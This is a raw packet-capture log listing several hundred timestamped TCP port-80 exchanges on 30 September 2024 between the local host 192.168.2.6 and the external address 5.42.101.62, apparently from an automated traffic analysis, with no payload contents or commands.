Sep 30, 2024 13:59:23.738099098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738114119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738125086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738127947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738143921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738154888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738158941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738183975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738202095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738296032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738310099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738322973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738336086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738337994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738351107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738360882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738364935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738379002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738389969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738393068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738408089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738409042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738420963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738435030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738440037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738447905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738462925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738476038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738477945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738492012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738498926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738519907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738523006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738548994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738548994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738564014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738579035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738584042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738593102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738605022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738607883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738620996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738620996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738636971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738660097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738678932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738691092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738704920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738719940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738733053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738734007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738749027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738761902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738764048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738779068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738794088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738795996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738817930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738837957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738892078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738905907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738931894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738931894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738945961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738950968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738969088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738969088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738984108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738997936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739010096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739012003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739027023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739027977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739042044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739048004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739057064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739072084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739080906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739092112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739100933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739120007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739134073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739135027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739147902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739161968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739165068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739192963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739196062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739209890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739222050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739224911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739238977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739250898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739253998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739269018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739283085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739284039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.739304066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.739320040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.813941956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.813956976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.813985109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.813998938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814019918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814033985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814049006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814054966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814084053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814097881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814112902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814119101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814127922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814146996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814172029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814232111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814245939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814260006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814274073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814274073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814287901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814301014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814316034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814316034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814349890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814352036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814364910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814377069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814378977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814394951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814409018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814416885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814452887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814476967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814491034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814505100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814524889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814532042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814546108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814557076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814559937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814574957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814588070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814590931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814603090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814615011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814616919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814634085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.814635038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.814672947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828517914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828556061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828571081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828620911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828624010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828649044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828651905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828665972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828680992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828692913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828696966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828711987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828720093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828744888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828779936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828794003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828808069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828820944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828824997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828834057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828854084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828860998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828864098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828877926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828891993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828898907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828921080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828927040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828937054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828957081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828979015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.828984976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.828994036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829008102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829016924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829022884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829036951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829044104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829052925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829082966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829087973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829102039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829107046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829128981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829143047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829145908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829158068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829171896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829186916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829196930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829196930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829200983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829231977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829265118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829266071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829278946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829293013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829305887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829308987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829333067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829346895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829355001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829364061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829375982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829391003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829411983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829408884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829425097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829440117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829447031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829453945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829469919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829487085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829500914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829504967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829515934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829530001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829540968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829545021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829572916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829592943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829619884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829633951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829648018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829658985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829694033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829714060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829737902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829752922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829760075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829766989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829781055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829798937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829802036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829823971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829830885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829838991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829849958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829853058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829874039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829884052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829900980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829916000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829919100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829931021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829942942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829943895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829958916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.829973936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.829977989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830009937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.830033064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.830044031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830058098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830073118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830086946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830087900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.830101013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830102921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.830116034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830125093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.830130100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830142975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830157995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.830157995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.830184937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.830207109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.904880047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.904968023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.904978037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.904993057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905008078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905015945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905021906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905035973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905036926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905056000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905066013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905078888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905091047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905092955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905107021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905113935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905121088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905128956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905163050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905169010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905184031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905191898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905196905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905199051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905213118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905220985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905226946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905241966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905242920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905249119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905258894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905282974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905297041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905307055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905307055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905311108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905322075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905324936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905339003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905353069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905354023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905379057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905380011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905394077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905396938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905409098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905420065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905424118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905445099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905457973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905457973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905481100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905494928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905508995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905523062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905524969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905538082 CEST	80	49721	5.42.101.62	192.168.2.6
